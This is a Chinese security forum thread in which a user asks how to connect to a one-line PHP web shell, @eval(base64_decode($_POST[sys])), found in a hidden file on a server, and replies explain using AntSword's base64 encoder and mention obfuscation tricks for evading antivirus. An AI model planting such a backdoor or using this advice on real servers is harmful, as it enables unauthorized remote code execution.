白帽子安全
厂商漏洞预警
业内新闻动态
安全研究
开源工具分享
技术交流讨论
原创文章发布
AI与区块链安全研究
程序代码学习
WEB代码审计
0day漏洞分析
渗透测试文章
Linux/无线/终端 安全
反病毒/逆向/免杀 二进制
安全检测工具
社会工程交流
夺旗赛研究
甲方文档资料
开源CMS源码
加密破解及悬赏
非安全交流
AI应用交流
VPS服务器讨论
区块链币圈交流
手机卡信用卡
域名外贸跨境
电子产品交流
非技术交流
八卦水区
论坛事务
人才招聘
登录
注册
导航
×
首页
白帽子安全
厂商漏洞预警
(2523)
业内新闻动态
(5886)
安全研究
开源工具分享
(175)
技术交流讨论
(19762)
原创文章发布
(20)
AI与区块链安全研究
(29)
程序代码学习
(1041)
WEB代码审计
(1288)
0day漏洞分析
(30)
渗透测试文章
(5928)
Linux/无线/终端 安全
(248)
反病毒/逆向/免杀 二进制
(459)
安全检测工具
(1692)
社会工程交流
(125)
夺旗赛研究
(337)
甲方文档资料
(109)
开源CMS源码
(38)
加密破解及悬赏
(1948)
非安全交流
AI应用交流
(19)
VPS服务器讨论
(45)
区块链币圈交流
(25)
手机卡信用卡
(7)
域名外贸跨境
(9)
电子产品交流
(44)
非技术交流
八卦水区
(6395)
论坛事务
(1649)
人才招聘
(38)
T00ls
»
八卦水区(Discussion )
这个一句话是怎么连接的
bmorgr
2020-11-09 01:21
194
8
好帖, 支持TA
取消
很可惜, 此ID报废之前, 请仔细阅读论坛总架构中的规则贴:
论坛总规则
Reason:
确认要报废此ID!
取消
bmorgr
注册会员
#1
服务器发现一句话,请教这个是怎么利用的。用菜刀和蚁剑简单链接一下发现错误,页面存在,但是无法获取密钥! 是需要构造语句吗。
文件名: .sys.php
文件内容:
<?php
@eval(base64_decode($_POST[sys]));
?>
smalldog
僵尸会员
2020-11-09
#2
蚁剑编码器 试下<
评分记录
鲁人甲007
TuBi +2
:乐于助人
一个黑阔
注册会员
2020-11-09
#3
蚁剑选base64应该可以连
江小悠jxy
注册会员
2020-11-09
#4
base64加密过的php语句执行,sys字符好像要加引号
lazy小远
僵尸会员
2020-11-09
#5
base64编码一下再连
v1gle
注册会员
2020-11-09
#6
回复 调用了base64_decode二三楼base传参正解
1#
bmorgr
Kriss
潜水会员
2020-11-09
#7
这是最基本的小马 执行POST过去的sys参数内容BASE64编码 很容易被各类防毒查杀
常见会用来混肴的函试 除了 encode decode 类 还有 字串的取代 str repalce reverse 之类的
stay-src
新手上路
2020-11-09
#8
这就是简单的base64编码了一下,亲测蚁剑可以直连
bmorgr
注册会员
2020-11-09
#9
谢谢,已经解决了。
打赏
×
TuBi 数量 (1~49)
1
5
10
20
49
评价理由
确认
取消
帖子评分
×
撤销评分
×
bmorgr
注册会员
楼主
35
主题
182
帖子
28
TuBi
TA的主帖
私信TA
返回版块
社区首页
本版最新
发现被CNVD或者CVE收录的漏洞难度大吗
请问有没有什么比较好的入门路径呢
国产最强模型“智谱”,正在打包你的东西
测试个漏洞-001
内网信息收集教程
IDA 9.4 中文插件
AI实时换脸
谁有恶魔之眼信息收集工具
移动端app 安全渗透测试
固件漏洞挖掘学习